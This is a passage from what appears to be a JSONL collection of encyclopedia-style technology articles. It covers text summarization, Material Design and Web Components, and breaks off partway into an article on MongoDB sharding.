frequencies, location heuristics, sentence similarity, rhetorical relations, and semantic roles. \n\nTypically an intermediate representation is used to select relevant summary content. With **topic representation**, the intent is to identify the main topics in the text. Topic words, word frequencies (including TF-IDF), clustering, LSA and LDA have been applied to summarization. With **indicator representation**, a feature set is used to rank and select sentences. Examples of this approach are graph-based methods and machine learning. \n\n\n### What are the challenges and requirements of multi-document summarization?\n\nThe pipeline for multi-document summarization (MDS) has the same basic steps as for single-document summarization (SDS): content selection, information ordering, and sentence realization. However, MDS has some unique challenges:  \n\n    + **Redundancy**: A single document has far less redundancy than a topically-related group of documents. Summary shouldn't repeat similar sentences. *Maximal Marginal Relevance (MMR)* is a scoring system to penalize similar sentences.\n    + **Temporal Ordering**: A stream of news articles might be reporting the unfolding of an event. Summary should order them correctly and be sensitive to later developments overriding earlier ones.\n    + **Cohesion and Coreference**: Both are important for information ordering. Sometimes cohesion might demand a certain ordering but cause coreference problems, such as a person's shortened name appearing before the full name.\n    + **Compression Ratio**: Summarization becomes more difficult when more compression is demanded.MDS may cluster similar documents and passages. Summary should include sufficient context and right level of detail. Factual inconsistencies across documents can be reported. Finally, users must be allowed to filter out irrelevant content, dig deeper into the the sources via attribution, or compare related passages across documents. \n\n\n### How does text summarization vary across domains or contexts?\n\nSummarization must tune its output to each domain or context. For example, summarization of a news article would involve different considerations from that of a corporate sales report. \n\nGeneral text summarization techniques might not do well for specific domains. Summarizers therefore might wish to use domain-specific knowledge. For legal document summarization, *CaseSummarizer* is a tool. In biomedical domain, summaries are created of literature, treatments, drug information, clinical notes, health records, and more. \n\nSummarizing scientific literature is a challenge due to length, complexity, and structure (tables and figures). *IBM Science Summarizer* is a tool that IBM created to summarize computer science publications. It extracts domain-specific entities of types task, dataset and metric. \n\nOften there are extra clues about what might be important in a document. Summarization can use these for content selection. For example, comments and discussions on a blog post point to interesting content segments. Likewise, citations in scientific papers are useful pointers. For web summarization, it's possible to look at other pages linking to a particular page and determine the most suitable sentences. \n\n\n### How has machine learning been applied to text summarization?\n\nThe common ML approach is to view text summarization as a classification problem. Algorithm is trained in a supervised manner on original text, an extractive summary and a set of features. Algorithm learns to classify sentences as either summary sentences or non-summary sentences. \n\nClassifiers could be based on naive-Bayes, decision trees, SVM, HMM, and CRF. Often each sentence is classified independently of others. However, since HMM and CRF capture dependencies, they outperform other techniques.  \n\nThe problem with supervised algorithms is in creating labelled data for training. This problem is worse for MDS. In a semi-supervised approach, a small amount of labelled data is used along with much larger amount of unlabelled data. The algorithm learns iteratively by classifying some unlabelled data in each iteration. \n\n\n### Could you describe neural network architectures for text summarization?\n\nThe typical approach is to do **sequence-to-sequence modelling** since input is a sequence of words and the summary is also a sequence of words. In an encoder-decoder architecture, the encoder uses LSTM to give an input representation. The decoder is also an LSTM that generates the output sequence. An attention layer between the encoder and the decoder helps in determining the most relevant words for the summary.  \n\nSeq2seq models, LSTMs and attention layers have made abstractive summarization possible, even if they're not yet state-of-the-art compared to extractive summarization methods. These models are trained **end-to-end** without bothering to model each step of a traditional summarization pipeline. They also don't need access to specialized vocabulary or do pre-processing. This end-to-end approach has been applied successfully to short output sequences, such as news headlines or short email responses. \n\nIn a **pointer-generator** network, a generator provides new words whereas a pointer copies words from source text. Seq2seq models often produce repetitive sentences. A **coverage model** avoids repetitions. \n\nFernandes et al. showed that sequence encoders with a graph component does better at capturing long-distance relationships. \n\n\n### How do I evaluate text summarization algorithms?\n\nHuman evaluation is the simplest. In 2004, **Recall-Oriented Understudy for Gisting Evaluation (ROUGE)** was created to automate evaluation by comparing against hand-crafted summaries. ROUGE-N, ROUGE-L, ROUGE-W, ROUGE-S, and ROUGE-SU are some metrics in this family.  \n\nDifferent people produce different summaries of the same text. Meaning shared across different human summaries is called Summary Content Unit (SCU). With a focus on meaning, **Pyramid Method** evaluates a summary using SCUs. \n\nWhile there's no universal system of metrics, text summarizers are typically evaluated based on TREC, DUC and MUC systems. DUC (2001-2007) became a summarization track in TAC (2008-). \n\nDatasets for supervised training of MDS algorithms are not common. For summarizing a single or a few documents, commonly used datasets are Gigaword, CNN/DailyMail, TAC (2008-2011) and DUC (2003-2004). ELI5 and WikiSum can be used for longform question answering and MDS respectively. Opinosis is a dataset of 51 article-summary pairs. \n\nReleased in 2018, Cornell Newsroom is the largest dataset for training and evaluating summarization systems. Spanning 1998-2017 and containing 1.3 million articles, it's been collected from newsrooms of 38 major publications. Summaries are obtained from search and social metadata.\n\n\n### What are some useful resources for text summarization?\n\nPengfei Liu has curated a useful list of datasets, research papers, and groups researching on text summarization. \n\nIn Python, Gensim has a module for text summarization, which implements *TextRank* algorithm. An original implementation of the same algorithm is available as PyTextRank package. PyTeaser is a Python implementation of Scala's TextTeaser. \n\nBack in 2016, Google released a baseline TensorFlow implementation for summarization. \n\n## Milestones\n\nApr  \n1958\n\nLuhn makes use of **word frequencies** to determine sentences most significant for summarization. Frequently occurring words close to one another suggest significant sentences. Thresholds are set to ignore most frequent and least frequent words. For example, in biology, the word 'cell' is too common and can be ignored. Luhn's algorithm, extractive in nature, is simple in that it doesn't merge word variations (differ, different, differently). \n\nApr  \n1969\n\nIn addition to word frequencies, Edmundson makes use of pragmatic or cue words, title and heading words, and structural indicators such as sentence location. He notes that these improve text extraction. Example cue words are 'significant', 'impossible' and 'hardly'. They're classified are positively relevant, negatively relevant and irrelevant. He hypothesizes that significant sentences or paragraphs occur very early and very late in the section or document. He also observes that future algorithms must consider language syntax and semantics. Statistical evidence alone is inadequate. \n\n1995\n\nKupiec et al. implements a **supervised machine learning** algorithm based on the **naive-Bayes classifier**. Algorithm is trained on hand-selected extracts. The features considered include sentence length cut-off, fixed-phrase, paragraph, thematic word, and uppercase word. For example, the model ignores short sentences. It picks out thematic words, proper names and acronyms. Words such as 'conclusions', 'summary' or 'discussion' are more likely to be in the summary. \n\nDec  \n1997\n\nFor his PhD thesis on text summarization, Marcu takes inspiration from Rhetorical Structure Theory (RST). He looks at the **rhetorical relation** between two non-overlapping text spans called nucleus and satellite. Examples of such relations are justification, evidence, restatement, and concession. Text is decomposed into smaller units connected by rhetorical relations. In the example, *Justification* is the relation between Mars weather and its distant orbit. \n\nApr  \n2000\n\nRadev et al. propose **centroid-based summarization** for multi-document summarization. Similar documents and sentences are grouped into clusters. Each cluster may represent a different sub-topic. Cluster centroid is a pseudo document representative of the cluster. Summary would include sentences similar to the centroids.  \n\nOct  \n2000\n\nSince RST is limited to single documents, Radev introduces **Cross-document Structure Theory (CST)** for multi-document summarization. He proposes multi-document graphs as a useful abstraction to represent relations at word, phrase, paragraph and document levels. He identifies 24 cross-document relations, such as Identity (same text), Subsumption (one sentence is contained in another), and Follow-up (additional information reflecting new developments). Summarization is done in four steps: clustering, document structure analysis, link analysis, and personalized graph-based summarization. \n\nMay  \n2004\n\nBarzilay and Lee propose a domain-sensitive **content model**. They use **Hidden Markov Model (HMM)** in which domain topics are the states and generates sentences relevant to that topic. State transitions model topic change. An n-gram model is used to generate sentences. This model jointly learns both content selection and information ordering. \n\nJul  \n2004\n\nInspired by Google's PageRank algorithm, Mihalcea proposes *TextRank*, a **graph-based algorithm**. Each sentence is a node in the graph. Edges correspond to sentence similarities using a metric such as cosine similarity. A weighted graph is constructed from the text. A ranking algorithm (such as HITS, POS or PageRank) is run on the graph. Graph nodes with the best scores are selected for the summary. \n\n2006\n\nWu proposes **event-based summarization**. Event terms could be verbs (incorporate) or action nouns (incorporation). Event elements are typically named entities (Person, Organisation, Location, Time). Document is represented as an event map on which PageRank algorithm is employed. The work of Li et al. is also event-based and it looks at intra-event and inter-event relevance. \n\nSep  \n2015\n\nRush et al. apply **neural networks for abstractive summarization**. Previous work on abstractive summarization relied on linguistic constraints or syntactic transformations. The proposed approach applies a neural language model along with an attention-based input encoder. They experiment with three different encoders: bag-of-words, convolutional (TDNN) and attention-based. The model using attention-based encoder performs best. Experiments are limited to headline generation based on only the first sentence. The model is trained on English Gigaword corpus. This work is improved by many others in 2016. \n\nAug  \n2016\n\nNallapati et al. use an **attentional encoder-decoder RNN** for abstractive summarization. Input embedding is feature-rich with word, POS, NER, TF, and IDF. A pointer-generator model handles rare or OOV words. The attention mechanism is hierarchical at word and sentence levels. Since existing datasets are limited to single sentence summaries, they present a new dataset from CNN/DailyMail news stories with an average of 53 words and 3.72 sentences in the summaries. This work establishes a baseline for abstractive summarization of long texts. \n\nJan  \n2018\n\nAs an exercise in multi-document summarization, Liu et al. attempt to **generate Wikipedia articles**. In the extractive stage, they select the most important content tokens. For the abstractive stage, they use a scalable decoder-only transformer architecture in which input and output sequences are combined into a single sequence. To make it scale for longer sequences, they introduce memory-compressed attention and local attention. The final model has five layers alternating between memory-compressed and local attention.  \n\nOct  \n2019\n\nFan et al. show that using **knowledge graph representations** of the text as input to a seq2seq model gives better performance. The graph is linearized before it's given to a transformer encoder. Graph construction involves merging nodes and resolving coreferences. \n\nSep  \n2019\n\nLiu proposes *BERTSUM*, a modification of BERT for summarization. The model encodes multiple sentences as a single input sequence. Interval segment embeddings are use to distinguish the sentences. For fine-tuning and capturing document-level features, he tries different summarization layers: simple classifier, RNN, inter-sentence transformer. He finds that two-layer inter-sentence transformer performs best.","meta":{"title":"Text Summarization","href":"text-summarization"}}
{"text":"# Material Design\n\n## Summary\n\n\nMaterial Design is a design system or visual language that enables designers and developers achieve a unified UI/UX across devices and products. It's perhaps Google's first serious focus on design, rather than technology alone. By giving app creators design guidelines and tools, Google hopes to bring a consistent experience to users of its products and platforms, especially with Android. \n\nWhy \"material\"? Users feel and understand materials. By making design obey real-world effects at a level of abstraction, the interface will be more natural and intuitive to users. However, realism is not taken to the extreme like skeuomorphism. Material Design improves upon flat design by adding real-world effects. Materials have thickness. They cast shadows. They are solid and cannot pass through other materials. They obey laws of physics. These have been used in the creation of Material Design.\n\n## Discussion\n\n### What's the backstory for Material Design?\n\nEarly human-to-computer interfaces were command line interfaces. When graphical interfaces were invented in the 1980s, designers attempted to represent real-world objects digitally so that users could relate to icons and buttons due to their familiarity. Design elements had a sense of realism. We called this design philosophy *skeuomorphism*. \n\nAs users became tech savvy, such realism was no longer necessary. Meanwhile, better device displays allowed designers to add more details. In fact, too much detail can distract users from content and functionality. UI designs therefore moved towards minimalism that had solid colours, clear typography, no shadows and functional focus. This is what we called *flat design*. Its roots can be traced to the 1920s and later popularized by the Swiss Bauhaus School. Flat design was adopted by Microsoft Windows 8 (2012) and Apple's iOS7 (2013). With the rising popularity of mobile devices, flat design was easier for designers and users across device screen sizes. \n\nFlat design had its critics for causing usability issues and limiting variety. What if we could combine elements skeuomorphism and flat design? Material Design does this by using material as the metaphor.\n\n\n### What are the key principles of Material Design?\n\nWe can identify three key principles: \n\n    + **Material is the metaphor**: By using shadows and animation, we create surfaces, edges, their relationships and their interactions. Inspired by materials and objects in the real world, Material Design aims to obey the laws of physics but also go beyond.\n    + **Bold, graphic, intentional**: The idea is to create immersive user experience while giving emphasis to user actions and core functionality. Typography, edge-to-edge imagery (without margins), ample whitespaces and bold colours are just some techniques to achieve this.\n    + **Motion provides meaning**: Motion must maintain focus and continuity of user experience even as objects transform and reorganize. It also provides useful feedback to user actions. User actions are seen as users giving energy to the UI.Nick Summers has shared more details of the above principles. \n\n\n### What aspects of the interface does Material Design cover?\n\nMaterial Design guidelines cover the following (and more): \n\n    + **Motion**: Duration, guided focus, path of movement, fading, etc.\n    + **Style**: Colour, icons, imagery, typography, etc.\n    + **Layout**: Units and measurements, floating action buttons, grids, spacing, layout structure, responsive layout, etc.\n    + **Components**: Buttons, cards, menus, lists, dividers, tabs, widgets, sliders, etc.\n    + **Patterns**: Launch screens, navigation, notifications, search, settings, scrolling, etc.\n    + **Growth & communications**: onboarding, feature discovery, gesture education, etc.\n\n### Why does pressing a button make it rise up from the surface?\n\nWe normally think of a button as being raised from a surface in default mode. When pressed, it goes down towards the surface. In Material Design, buttons behave in the exact opposite manner. The z-axis property gives a component its elevation with respect to the surface. The surface is the digital device's display and components can only rise up (positive z values). Thus, button press should be seen as user interacting with the button and making it come towards the finger. \n\n\n### How is motion conveyed?\n\nMaterial documentation states, \n\n> Motion in the world of Material Design is used to describe spatial relationships, functionality, and intention with beauty and fluidity.\n\nMotion is inspired by physics with attention to gravity and friction. A ripple effect from the point of touch conveys user input. New surfaces emanate from components that create them. Transitions happen in arcs. Surfaces can be push, divide or join with each other. They can create hierarchy by interacting and stacking on top of each other with attention to surface thickness. Materials that grow, shrink or fade do so by decelerating or accelerating in time. Upward movement starts slow since we have to work against gravity and vice versa for downward movement. Transformations can originate from object's current location or from the center of final surface. Materials can move along any axes but z-movement is meant for user interaction. \n\n\n### What tools has Google released to help designers working on Material Design?\n\nApart from design guidelines, Google supports designers with many tools and resources: \n\n    + **Gallery**: A tool to manage design iterations and get feedback.\n    + **Remixer**: Collaborate in real-time by adjusting colours, animations and more on the fly.\n    + **Resizer**: An interactive viewer that helps designers test material design breakpoints across desktop, mobile, and tablet.\n    + **Color Tool**: Create colour palettes, test accessibility, preview and share.\n    + **Device Metrics**: A handy reference for sizing your UI across multiple devices.\n    + **Stage**: Allows for dynamic interfaces with interactive motion.\n    + **Icons**: A library of hundreds of material icons.\n    + **Material Components**: Provides modular and customizable Material Design UI components. It comes in variants of Android, iOS and Web.\n\n### Can you give some pointers for using Material Design in Android apps?\n\nAndroid documentation talks about three goals: \n\n    + Enchant the user. Combine beauty and simplicity. Be crisp and meaningful with typography.\n    + Make life easier. Make the interface intuitive. Don't overwhelm.\n    + Amaze the user. Empower them to try new things and be inventive. Allow for new workflows.Muneer gives more descriptions of the above. \n\nAndroid comes with Material themes, lists, cards, and more. Shadows and layering can be created by using the Z property (surface elevation). A variety of Material animations can be used out of the box but developers can also create custom animations. In addition, a comprehensive Material Design training is available online. \n\n\n### What frameworks out there support Material Design?\n\nAmong the free Material Design CSS frameworks are Materialize, MUI, Surface and Material-UI. Material Design Lite and Material Components for the Web are frameworks from Google folks. Google's Polymer has a category named Paper that includes Material Design components. \n\nMany frameworks add Material Design support for existing front-end frameworks: Viu for Meteor, Vuetify.js for Vue.js, ember-cli-materialize for Ember.js, Ionic Material for Ionic, Material-UI for React, Angular Material and LumX for Angular.js, Material Design for Bootstrap and Phonon Framework for Cordova. \n\nBeyond frameworks, there's a curated list of 300+ Material Design resources that developers will find useful. This includes colour palettes, icon sets, fonts, layout templates, UI kits, widgets, backgrounds, wallpapers, articles, design inspirations and more. Since animation is important in Material Design, Paul Andrew provides a list of animated Material Design examples for inspiration. \n\n\n### Are there any criticisms of Material Design?\n\nDevelopers used to flat design, may take more time to implement Material Design. They also have to learn and code for motion, which is an important design aspect. The design language is itself controlled by Google and not open sourced. \n\nNate Swanner has said that, \"Material Design wants to make you feel as though you're touching something tangible, but you're not. You. Are. Tapping. A. Screen.\" He goes on say that he doesn't care for the 'clever' animations. Android apps running on iOS tend to use Material Design. This violates iOS platform conventions and angers iOS users. Also, a taste of Material Design within iOS is unlikely to influence users to switch to Android. \n\nRune Madsen gives specific examples of Material Design where Google's rules of design either constrain designers or simply ignore how designers actually work. For example, designers should be allowed to use bright colours for body text if they want to. The design guidelines also tend to enforce a certain style that's hard to break away from. Designers will be stuck with Google's branding. For that matter, Google itself is not adhering to the Material Design guidelines. \n\n\n### Are there any criticisms of design systems in general?\n\nA criticism of design systems is that they create a design monoculture. They also tend to benefit the designer more than the user. Users will obey a horrible system rather than complain. In fact, one Google designer stated that, \"Material Design is a way for designers to get what they want.\" \n\nIn 2018, Google addressed some of this criticism by allowing users to customize the styling while retaining the consistency, usability and discoverability of Material Design. So it's not just about design guidelines but also about tools to adapt to specific design needs and branding. \n\nIn contrast, Amazon did not have a well-documented design system. Rather, it evolved an effective UI based on user feedback and continuous improvement. \n\n\n### Could you compare Material Design with its alternatives?\n\nHistorically, we've had skeuomorphism and flat design for digital user interfaces. Flat design is more performant than skeuomorphism and distraction-free. But it may look boring and have usability issues. Skeuomorphism may look too real, distract users from content and render slower. Material Design combines the best of both. It has good documentation but developers may feel constrained by what Google considers as right. \n\nIt's been said that between flat design and Material Design, the differences are subtle, yet critical. While Material Design is still flat, it considers the third dimension along the z-axis. Material Design attempts to bring the real and the digital worlds closer. It's richer in interaction and user experience. \n\nIBM Design Language is an alternative that's been commented as a copy of Material Design. In 2010, Microsoft introduced Metro design language that uses flat design and typography. An evolution of Metro is Microsoft's Fluent Design, which was applied to Windows 10 in October 2017. \n\n## Milestones\n\n2007\n\nSome Google designers attempt to create a unified design across the company's products and platforms. It is named Kanna. The project doesn't take off due to lack of management support. \n\n2011\n\nThe growth of compute power and broadband access gives UI/UX increasing importance. Mobile forces design to be taken seriously. Project Strawman aims to \"redesign Google\". Gmail is redesigned with flatter buttons, and more whitespace and margin. A year later, Google Now uses cards and well-designed typography. These changes are elements of what later becomes Material Design.\n\n\nJun  \n2014\n\nOriginally codenamed Quantum Paper, Google announces Material Design at its annual developer conference, Google I/O, in San Francisco. In November 2014, Android Lollipop becomes the first Android release to use Material Design. \n\nApr  \n2016\n\nFaiz Malkani states that Material Design has not achieved a grand unification it hoped for. He concludes that it can happen only if Material Design sheds the \"Google branding\" and looks beyond Android. \n\nOct  \n2016\n\nMaterial Design gets a new website to bring together guidelines, tools and resources in one place. \n\nDec  \n2016\n\nSince the spec is a living document, it's frequently updated. In 2016, this is when the last of five updates to Material Design guidelines is released. \n\nApr  \n2017\n\nGoogle releases Color Tool for designers working with Material Design. Designers can create new colour schemes, test accessibility and preview colours with this. \n\nMar  \n2018\n\nGoogle is reportedly testing Material Design for its Search but it appears that only some users are seeing this new layout. \n\nMay  \n2018\n\nAt Google I/O, Google announces that designers can customize material components for their product. Tool such as Material Theme editor, icon packs and colour palettes enable this. The idea is to **separate functionality from styling** so that all apps don't end up looking the same. As an example, Google releases GMail with such a customized Material Design. \n\nOct  \n2021\n\nGoogle announces that it's dropping Material Design UI components for its iOS apps in favour of Apple's UIKit. This is to save Google developers extra work in customizing Material Design to Apple's framework. Going forward, Google's iOS apps will begin to look more like iOS apps than Android apps.","meta":{"title":"Material Design","href":"material-design"}}
{"text":"# Web Components\n\n## Summary\n\n\nA webpage can be built in two ways: either as a monolithic unit of HTML tags or as a composition of individual parts: header, footer, menu, main body, side panel, and so on. The latter is easier to maintain due to its modular nature. Such modular design has been in common practice on the server side where pages are dynamically generated from modular views. Web Components enables this on the client side. \n\nWhile the use of components is possible with frameworks or libraries such as Ember, Backbone, Angular or React, Web Components is a W3C standard. It relies on nothing more than HTML, CSS and JS. It can therefore work on all browsers, can complement and be reused across frontend frameworks. Libraries built on top of Web Components are also making development simpler.\n\n## Discussion\n\n### What exactly is a web component?\n\nHere's one way to define a web component, \n\n> A component is a small, potentially re-usable set of logic, behaviors and interface elements (UI or API).\n\nThis definition is not just about the frontend element's presentation but it's also about its behaviour. Consider a clickable button. The component for this could define the styling in terms of padding, colours and fonts. It could also define the behaviour: how the styling changes on mouse hover or mouse click; what happens when mouse is clicked. Another example is an image slider. These are usually implemented using HTML, CSS, and JavaScript, all of which can be encapsulated as a custom tag for reusability. \n\nWeb Components is being developed by W3C as a set of standards. Once fully standardized and implemented by browsers, it will change the way we design web apps.\n\n\n### What are the advantages of adopting Web Components?\n\nHere are some advantages of Web Components:\n\n    + **Reuse**: A component is made once and can be reused across different pages, apps, or frameworks.\n    + **Support**: Once fully standardized, it will work on any browser without additional libraries.\n    + **Maintenance**: Since the design is modular, and components are self-contained, they're easier to maintain.\n    + **Encapsulation**: Each component on the same page can potentially have different styling. We need not worry about clashing element identities. This is due to what's called *Shadow DOM*.\n    + **Reliability**: Code is not spread across HTML and JS files, thereby avoiding inconsistencies.\n    + **Flexibility**: Components can be written inline, imported or even compiled.\n    + **Composability**: Components can use or interface with other components.\n\n### What the main parts of Web Components?\n\nWeb Components have four enabling parts: \n\n    + **Custom Elements**: We can create custom HTML tags/elements and define their initialization and behaviour. These can be created using JavaScript APIs. The use of ES6 Class is recommended rather than create a prototype Object.\n    + **HTML Templates**: Tag `<template>` provides a markup template that can then be reused in multiple places. Templates themselves are not displayed; only their instances are displayed.\n    + **HTML Imports**: A HTML file can import another HTML file. Thus, components defined in one file can import components defined in another file.\n    + **Shadow DOM**: This is an encapsulated DOM tree that's separate from the main document DOM. This encapsulation ensures that the component will work regardless of the page in which it's used.\n\n### How should I use attributes, properties and events in my components?\n\nIn the spirit of reuse and composability, use attributes and properties for data input. Dispatch events for output. For example, if a button is clicked, dispatch an event so that other components can take appropriate action. Don't bubble events unless they have semantics. \n\nUse attributes to initialize. Use properties to reflect state. Every exposed attribute should have a corresponding property. Reflecting a property change to an attribute is generally not a good idea. This is because attributes are limited to string values. This means that expensive serialization and deserialization is needed to pass arrays and objects as strings via attributes. Therefore use properties instead. \n\nFavour declarative over imperative API. For instance, avoid changing state via method calls that don't update property or dispatch events. \n\n\n### Could you share some best practices for working with Web Components?\n\nHere are some best practices: \n\n    + When defining custom elements, use prefixes before the hyphen to indicate a custom \"namespace\".\n    + Custom elements that use unconventional names can be hard understand. Try to stay close to standard HTML tag names.\n    + Don't raise exceptions from custom elements when for similar errors the native DOM itself would ignore and continue.\n    + Configuration and state should be exposed in the logical DOM, not hidden in Shadow DOM.\n    + Try to make your component self-contained without reliance on external frameworks. This makes it easy for others to reuse your component.More best practices are given at Google Developers site with illustrative examples. \n\n\n### How can I use Web Components with frontend frameworks or libraries?\n\nWeb Components are set to change the way we build web apps but they need not replace frontend frameworks or libraries. The two can complement each other. For example, React can be used in Web Components or vice versa. Whereas React keeps DOM in sync with data, Web Components encapsulate reusable components well. \n\nUse Shadow DOM to avoid conflict with frameworks that manage DOM updates and rendering. Also, VirtualDOM Abstraction Layer (VAL) gives better control over DOM along with any virtual DOM such as React or Preact.\n\nTo convert Web Components to first-class React components, react-integration can be used. Angular Elements offers custom elements but these currently have dependence on the Angular framework. \n\nDevelopers who wish to develop components that can be used across any framework can look at Ionic's Stencil, SlimJS or SkakeJS. It's been said that SkateJS enables the use of React's JSX with Web Components. For data bindings, Observables and ES6 Proxies may play well with Web Components. \n\nIn passing, we mention that Accelerated Mobile Pages (AMP) are in fact built from Web Components and are incredibly performant. \n\n\n### What's the current state of and browser support for Web Components?\n\nLatest status of browser support for Web Components is available on Can I Use site. Chrome and Opera offer the best support for Web Components. Browsers that don't have full native support, can use *polyfills*. A polyfill is a substitute implementation that a developer can use or import into a codebase until browsers natively start supporting that feature or technology. Web Components polyfills are available on GitHub. \n\nDevelopers can build custom components on their own. For faster development, they can also reuse components developed and shared by others as component libraries. WebComponents.org lists 1500+ reusable elements as on June 2018. Developers can also adopt component frameworks that simplify the development process. Examples of such frameworks include Google Polymer, Mozilla X-Tag and Bosonic. \n\nIn terms of W3C standardization, `<template>` element is specified within the HTML 5.2 W3C Recommendation. Shadow DOM is specified in the DOM document. Web Components Current Status page summarizes the status.\n\n## Milestones\n\n1998\n\nMicrosoft creates **HTML Components (HTC)** to extend the DOM with new attributes. It relies on JScript and VBScript and Microsoft ActiveX is required. In 2011, this is discontinued and deprecated on IE10. \n\n2001\n\nMozilla introduces **XML Binding Language (XBL)**. The idea is to extend default tags with custom behaviour. XBL2 comes out in 2007. While the intention is good, implementations are not. This is eventually abandoned in 2012. \n\n2010\n\nFrom the failure of vendor-oriented approaches, comes the idea of frameworks or libraries that can offer custom elements in a cross-browser compatible manner. In 2010, **AngularJS** is released. Likewise, **React** is born in 2011 and is used internally by Facebook. \n\n2011\n\nAt the Fronteers 2011 conference, Alex Russell gives a talk titled \"Web Components and Model Driven Views\". He explains how JS frameworks are trying to do what HTML is supposed to do. He then outlines scoped CSS, custom elements and web components. \n\nMay  \n2012\n\nW3C publishes a working draft titled \"Introduction to Web Components\". \n\n2014\n\nGoogle Chrome and Opera browsers start supporting v0 of Web Components. In 2016, the same browsers start supporting v1 of Web Components.","meta":{"title":"Web Components","href":"web-components"}}
{"text":"# MongoDB Sharding\n\n## Summary\n\n\nLarge datasets stored on a single server can hit performance limits. One way to improve performance on a single server is to upgrade the server with higher CPU, more CPU cores, more RAM, more storage and faster I/O. This is called **vertical scaling**. It's expensive and has its limits. Sharding is a better and more scalable solution. \n\nWith sharding, large datasets are distributed across multiple machines. While each machine may not be very powerful, each one handles only a subset of the overall workload. Thus, high performance is achieved even on large datasets. This approach is called **horizontal scaling**. MongoDB does horizontal scaling via sharding. \n\nA **shard key** is used to distribute data evenly across all shards. MongoDB can also **reshard** the data in case shards become unbalanced over time.\n\n## Discussion\n\n### What's the architecture of a sharded cluster in MongoDB?\n\nSharding is applied on a MongoDB collection, which basically consists of multiple documents. Documents of a collection are distributed across a cluster of machines or nodes. We call this a **sharded cluster**. It consists of the following components: \n\n    + **Shard**: Each shard holds a subset of the data, that is, some documents of the collection. Each shard can be deployed as a replica set that consists of `mongod` instances.\n    + **Router**: When queries are made on a collection, only relevant shards need to be queried. One or more routers, called `mongos`, perform this task. Applications should never connect directly to the shards. They should always connect via the routers.\n    + **Config Server**: One or more of these store metadata and configuration settings for the cluster. Similar to the shards, config servers are replica sets.Multiple collections can share a sharded cluster. Moreover, a sharded cluster can include collections that are not sharded, that is, collections that are simply replica sets. Unsharded collections are stored on the **primary shard**. Each database has a primary shard. Even for unsharded collections, clients should connect via the router. \n\n\n### What's a chunk in the context of MongoDB sharding?\n\nA **chunk** is a contiguous range of shard key values within a particular shard. Chunk ranges include the lower boundary and exclude the upper boundary. A chunk size is by default 64 MB and can be configured in the range 1-1024 MB. If a chunk exceeds its configured size, MongoDB automatically splits it into smaller chunks. However, automatic splitting happens only when data is inserted or updated.  If necessary, manual splitting can be performed. \n\nIf data distribution becomes uneven, MongoDB's *balancer* process migrates chunks from one shard to another. From this perspective, chunk is the smallest unit of data that can be migrated. It's not possible to move just some documents of a chunk to another shard. However, it's possible to configure a chunk with a single shard key value. \n\nIt's possible to remove a shard. But before this happens, chunks from that shard are moved to other shards. This process is called **draining**. \n\nSometimes during incomplete migrations, a document can be present on multiple shards. This is called an **orphaned document**. \n\n\n### What are the different ways to shard data into MongoDB?\n\nMongoDB partitions a collection based on a **shard key**, which is based on one or more fields. A unique shard key value can exist in only one chunk. To shard a collection, it must have an index that starts with the shard key. This is called **shard key index**. A range of shard key values define a chunk. Each chunk is associated with one shard. Multiple chunks can reside on a shard. \n\nMongoDB has two sharding strategies: \n\n    + **Hashed Sharding**: Hash of the shard key value is computed. Particularly for monotonically increasing or decreasing shard key, hashed sharding distributes data more evenly. MongoDB automatically computes the hashes when querying with indexes. For a compound index, only one field can be hashed.\n    + **Ranged Sharding**: Data is partitioned based on a range of shard key values. Each chunk is assigned a range.A MongoDB router queries only shards relevant to a query. In some cases, it **broadcasts** the query to all shards. Selecting a suitable shard key and sharding strategy can minimize the number of shards involved in a query. \n\n\n### How do I select a suitable shard key in MongoDB?\n\nA suitable shard key has some desirable properties: \n\n    + **High Cardinality**: Low cardinality implies fewer unique values and hence fewer shards. For example, choosing `continent` field as the shard key limits the cluster to a maximum of seven shards. Instead, use a compound index by combining `continent` field with another field of high cardinality.\n    + **Low Frequency**: Implies all documents are accessed equally. Suppose only 20% of documents are commonly accessed. This could lead to some shards getting overloaded. Chunks holding high frequency documents may grow faster, become indivisible and result in bottlenecks. Instead, use a compound index that includes a low frequency field.\n    + **Grows Non-Monotonically**: If shard key increases monotonically, inserts end up in a chunk that has the `maxKey` upper bound. The shard containing this chunk presents a write bottleneck. To solve this, use hashed sharding. Another technique is that when a chunk is split, the new chunk with `maxKey` is located on another shard.\n    + **Handle Common Query Patterns**: A query hits only a few shards. Common queries achieve even distribution.\n\n### Given an uneven data distribution in a MongoDB sharded cluster, how can I correct this?\n\nIt's hard to predict how a collection will grow or how the application will evolve. The data distribution may start out evenly but may become uneven over time. Therefore there's a need to continuously improve how we shard a collection. \n\nMongoDB 4.2 introduced **mutable shard key values**. However, the shard key itself couldn't be changed. \n\nMongoDB 4.4 introduced **refinable shard key**. One or more fields can be suffixed to the current shard key. For example, if using `customer_id` as the shard key didn't result in an even distribution, the shard key could be refined by adding `order_id` (which has a higher cardinality). Thus, the shard key becomes `{\"customer_id\" : 1, \"order_id\": 1}`. \n\nMongoDB 4.4 also introduced **compound hashed shard key** in which one of the fields can be hashed. A compound shard key uses more than one field. In the previous example, if `order_id` is monotonically increasing, then just adding it to the shard key will not solve our problem. Instead, the shard key can be refined to `{\"customer_id\" : 1, \"order_id\": \"hashed\"}`. \n\nFrom MongoDB 5.0, we can simply **reshard** the collection. \n\n\n### Could you explain zones and zone sharding in MongoDB?\n\nZones are abstractions defined based on the shard key. They help implement **data locality**. For instance, data is stored on shards geographically closer to application servers. This could be for performance or regulatory reasons. We might want to isolate a subset of data on a specific set of shards. Another reason is to route data to match hardware capabilities. \n\nA zone can be associated with one or more shards in the cluster. A shard can associate with multiple zones. It's okay for a shard not belong to any zone. When balancing data, MongoDB migrates chunks to other shards within the zone. \n\nA zone is defined by a range of shard key values. If hashed, range is based on the hashed values. Range includes the lower bound and excludes the upper bound. If a compound shard key is used, range definition must include the prefix field. For example, given the shard key `{ a : 1, b : 1, c : 1 }`, zone range must contain `a` field. \n\n\n### Could you share some tips for data sharding in MongoDB?\n\nIf you're not sure if a collection requires sharding, you can leave it unsharded. When more data arrives, you may get a better idea about how to define the shard key and how many shards to use. It's possible to migrate from a replica set to a sharded cluster. \n\nSuppose you observe jumbo chunks, uneven load distribution or reduced query performance over time. These are indications that the shard key is suboptimal. Either refine the key or reshard the collection. \n\nMongoDB's *balancer* process does auto-splitting as required. In some cases, to achieve easy insertion and high write throughput, **pre-splitting** can be done to balance the distribution quickly. \n\nMultiple routers can reduce latency but can increase load on config servers. More servers and components also leads to complexity. MongoDB Atlas, Ops Manager, Mongostat, and other tools can simplify the management. \n\n## Milestones\n\nFeb  \n2009\n\n**MongoDB 